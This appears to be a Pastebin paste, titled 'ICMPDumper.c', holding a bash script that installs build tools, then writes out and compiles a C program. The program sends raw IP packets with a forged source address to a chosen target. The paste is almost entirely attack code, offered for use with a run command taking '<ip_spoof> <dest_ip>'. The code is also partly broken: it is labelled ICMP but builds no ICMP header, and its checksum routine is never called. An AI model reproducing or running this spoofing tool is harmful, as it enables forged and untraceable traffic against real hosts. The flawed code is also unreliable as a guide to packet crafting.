Advertisement
Sweetening

ICMPDumper.c

Jan 12th, 2025
7
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.91 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. # Set variables
  4. SRC_FILE="icmpdumper.c"
  5. OUTPUT_BINARY="icmpdumper"
  6. GCC="gcc"
  7.  
  8. # Update and install necessary dependencies
  9. echo "Updating package list and installing required packages..."
  10. sudo apt update
  11. sudo apt install -y build-essential net-tools
  12.  
  13. # Create the C source file
  14. echo "Creating the source C file ($SRC_FILE)..."
  15. cat > $SRC_FILE <<EOF
  16. #include <stdio.h>
  17. #include <stdlib.h>
  18. #include <sys/types.h>
  19. #include <sys/socket.h>
  20. #include <netinet/in.h>
  21. #include <netinet/ip.h>
  22. #include <netinet/ip_icmp.h>
  23. #include <arpa/inet.h>
  24. #include <errno.h>
  25. #include <netdb.h>
  26. #include <string.h>
  27. #include <unistd.h>
  28.  
  29. struct icmp_hdr {
  30. struct iphdr iph;
  31. char text[16]; // Ensure proper buffer size for the text
  32. } encaps;
  33.  
  34. int in_cksum(int *ptr, int nbytes) {
  35. long sum;
  36. u_short oddbyte, answer;
  37. sum = 0;
  38.  
  39. while (nbytes > 1) {
  40. sum += *ptr++;
  41. nbytes -= 2;
  42. }
  43. if (nbytes == 1) {
  44. oddbyte = 0;
  45. *((u_char *)&oddbyte) = *(u_char *)ptr;
  46. sum += oddbyte;
  47. }
  48.  
  49. sum = (sum >> 16) + (sum & 0xffff);
  50. sum += (sum >> 16);
  51. answer = ~sum;
  52. return(answer);
  53. }
  54.  
  55. struct sockaddr_in sock_open(int socket, char *address, int prt) {
  56. struct hostent *host;
  57. struct sockaddr_in sin;
  58.  
  59. if ((host = gethostbyname(address)) == NULL) {
  60. perror("Unable to get host name");
  61. exit(-1);
  62. }
  63.  
  64. memset(&sin, 0, sizeof(sin));
  65. sin.sin_family = AF_INET; // Use AF_INET instead of PF_INET
  66. sin.sin_port = htons(prt); // Port is typically unused in raw sockets, can be set to any value
  67. memcpy(&sin.sin_addr, host->h_addr, host->h_length);
  68.  
  69. return sin;
  70. }
  71.  
  72. int main(int argc, char **argv) {
  73. int sock, on;
  74. struct sockaddr_in addrs;
  75. printf("\t\tICMPDumper \n\t\t\tBy SleepTheGod\n");
  76.  
  77. if (argc < 3) {
  78. printf("Usage: %s <ip_spoof> <dest_ip>\n", argv[0]);
  79. exit(-1);
  80. }
  81.  
  82. // Setup encapsulation text (example for a fixed message)
  83. memcpy(encaps.text, "BLADI TZO TOPOYO", 16); // Properly initializing text array with null-termination
  84.  
  85. sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  86. if (sock < 0) {
  87. perror("Socket creation failed");
  88. exit(-1);
  89. }
  90.  
  91. on = 1;
  92. if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) == -1) {
  93. perror("Can't set IP_HDRINCL option on socket");
  94. exit(-1);
  95. }
  96.  
  97. fflush(stdout);
  98.  
  99. addrs = sock_open(sock, argv[2], 0); // Raw sockets don't need a specific port
  100.  
  101. // Setting up the IP header
  102. memset(&encaps.iph, 0, sizeof(struct iphdr));
  103. encaps.iph.version = 4; // IP Version 4
  104. encaps.iph.ihl = 5; // IP Header Length (5 words, 20 bytes)
  105. encaps.iph.frag_off = 0; // No fragment offset
  106. encaps.iph.id = htons(0x001);
  107. encaps.iph.protocol = IPPROTO_ICMP; // Assuming ICMP for this example
  108. encaps.iph.ttl = 64; // Time to Live
  109. encaps.iph.tot_len = htons(sizeof(struct iphdr) + sizeof(encaps.text)); // Total length of the packet
  110. encaps.iph.daddr = addrs.sin_addr.s_addr;
  111. encaps.iph.saddr = inet_addr(argv[1]);
  112.  
  113. printf("\tDuMpInG %s ---> %s \n", argv[1], argv[2]);
  114.  
  115. // Send the crafted packet
  116. if (sendto(sock, &encaps, sizeof(encaps), 0, (struct sockaddr *)&addrs, sizeof(struct sockaddr)) == -1) {
  117. if (errno != ENOBUFS) {
  118. perror("Error sending packet");
  119. }
  120. }
  121.  
  122. fflush(stdout);
  123. close(sock);
  124.  
  125. return 0;
  126. }
  127. EOF
  128.  
  129. # Compile the C source file
  130. echo "Compiling the C source code..."
  131. $GCC -o $OUTPUT_BINARY $SRC_FILE
  132.  
  133. # Check if the compilation was successful
  134. if [ $? -eq 0 ]; then
  135. echo "Compilation successful! Executable: $OUTPUT_BINARY"
  136. else
  137. echo "Compilation failed!"
  138. exit 1
  139. fi
  140.  
  141. # Run the compiled binary with arguments (you need to provide them when running)
  142. echo "To run the program, use: sudo ./$OUTPUT_BINARY <ip_spoof> <dest_ip>"
  143.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement